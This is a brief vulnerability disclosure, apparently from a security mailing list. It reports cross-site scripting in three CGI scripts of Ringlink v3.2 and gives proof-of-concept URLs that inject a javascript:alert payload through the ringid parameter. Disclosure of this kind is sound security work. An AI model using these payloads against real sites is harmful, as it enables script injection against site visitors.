Ringlink v3.2 - XSS

[luny@xxxxxxxxxxxxxxx]

Ringlink v3.2

Homepage:
http://www.ringlink.org

Effected files:
next.cgi
stats.cgi
list.cgi

XSS Vulnerability PoC:
http://www.example.com/ringlink/next.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]

http://www.example.com/ringlink/stats.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]

http://www.example.com/ringlink/list.cgi?ringid=[IMG%20SRC=javascript:alert('XSS')]